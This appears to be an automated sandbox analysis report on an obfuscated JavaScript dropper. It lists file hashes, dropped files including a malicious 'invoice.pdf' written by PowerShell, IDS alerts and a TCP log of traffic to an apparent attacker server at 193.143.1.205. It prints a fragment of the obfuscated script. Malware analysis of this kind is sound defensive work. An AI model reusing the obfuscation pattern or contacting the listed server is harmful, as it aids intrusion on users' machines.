SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\2b2c45c2-6993-46a6-a716-0403018bd14c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/n5ZwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:xZwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	E78E4D1CA18BE28748F65C3A192DAFB2
SHA1:	78AD6025CB470EFB9ECA8FF1ED41F617372D1F9F
SHA-256:	F4B25F5C5BE48E151080D9CC24C8A4662CBB591A6B32037DB8D7ADE1828D8849
SHA-512:	E170C9BD3B6BB575244FCD380334D763C30352586F60824A67868EAE8E895BE0601D51670FCC304724BDF321CE8EF64881E606C9CF4C18C5817DFB5A679E44D6
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\6918c212-2338-44b5-b859-28ff94966d59.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16089), with CRLF line terminators
Entropy (8bit):	4.932143166000708
TrID:
File name:	1495528197325499932.js
File size:	19'666 bytes
MD5:	b78f119b7292849e68ea4560bde323f1
SHA1:	e765df1687689ab570a14dbac45d440ea0406e75
SHA256:	3e1e23dfd06a45620996973b01db48a96d201034a90d6abab3099bf5b5930403
SHA512:	c4946e94e731363b3cd9fb0ab3f71dad2e3ffb2d1cf8afc732c79da4f23a5a75ac72cc1384841dba3a679a766af5f442b539e8a393a9436836bfff5e470627c8
SSDEEP:	384:NvLQSh2w+Ep/dPsI0wLvoTTl536fdSTgJh7l5:dj1/dig7f
TLSH:	CE92B8E6D4C48A1ED9FE02F05AAED5923D2D72834D6885BC515924A16F428F9ECFC0F3
File Content Preview:	function casisuoj(){iwvimixxd=[1031,3079,5127,4103,2055,3072];var pgietcd=this[hhpjfccij+aqdcyydr+scowcrdnk+gfxtr+kfdhsbns+nzqbwh+btrompubr+lwpivl](this[dbkqdrd+esihu+lhqti+scowcrdnk+fbtvkyuaq+hhpjfccij+lwpivl][iuqeb+scowcrdnk+kfdhsbns+aqdcyydr+lwpivl+kfd

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T18:05:35.625715+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-10T18:05:38.674652+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:05:34.805643082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:34.810723066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:34.810817957 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:34.814308882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:34.819411993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.625572920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.625636101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.625654936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.625668049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.625679970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.625691891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.625705004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.625715017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.625715017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.625718117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.625730991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.625745058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.625767946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.625859976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.630614042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.630634069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.630701065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.679811001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.679831028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.679899931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.743048906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.743066072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.743077993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.743185997 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.743235111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.743292093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.743365049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.743505955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.743518114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.743532896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.743549109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.743650913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.743650913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.744143009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.744158030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.744174004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.744187117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.744203091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.744225025 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.744225025 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.744343042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.745012045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.745023966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.745038033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.745050907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.745065928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.745192051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.745192051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.745872974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.745886087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.745898962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.745913982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.745918989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.745951891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.786921978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.815325975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.846671104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.846827984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.846834898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.846848965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.846901894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.862075090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.862170935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.862185001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.862198114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.862217903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.862231016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.862232924 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.862243891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.862260103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.862364054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.862364054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.862740040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.862752914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.862765074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.862777948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.862792015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.862802029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.862817049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.862823963 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.862829924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.862840891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.862876892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.863102913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.863640070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.863652945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.863663912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.863676071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.863691092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.863703012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.863715887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.863730907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.863750935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.863750935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.863766909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.863812923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.864552975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.864576101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.864603043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.864614010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.864625931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.864638090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.864650965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.864665031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.864665985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.864665985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.864778042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.864778042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.865650892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.865664959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.865678072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.865693092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.865706921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.865719080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.865732908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.865737915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.865751028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.865767956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.865787983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.865855932 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.907628059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.907670975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.907680988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.907694101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.907843113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.907843113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.937753916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.962804079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.962826014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.962838888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.962888002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.962898970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.962901115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.962915897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.962927103 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.963104010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.978957891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.979016066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.979027033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.979038954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.979053020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.979064941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.979110003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.979176044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.979207993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.979237080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.979271889 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.979316950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.979341030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.979351997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.979368925 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.979542971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.979564905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.979577065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.979590893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.979604006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.979614973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.979626894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.979666948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.979666948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.979758978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.979959965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.979983091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.979994059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.980011940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.980078936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.980078936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.980263948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.980277061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.980284929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.980297089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.980309963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.980364084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.980401993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.980592012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.980604887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.980618954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.980700970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.980700970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.980706930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.980725050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.980739117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.980751991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.980766058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.980777979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.980783939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.980791092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.980798960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.980811119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.980839968 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.981076956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.981501102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.981513977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.981527090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.981539965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.981553078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.981564045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.981579065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.981591940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.981595039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.981605053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.981616974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.981630087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:35.981641054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.981662035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.981699944 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:35.984081984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.000020027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.000045061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.000056028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.000070095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.000087023 CET	80	49704	193.143.1.205	192.168.2.8
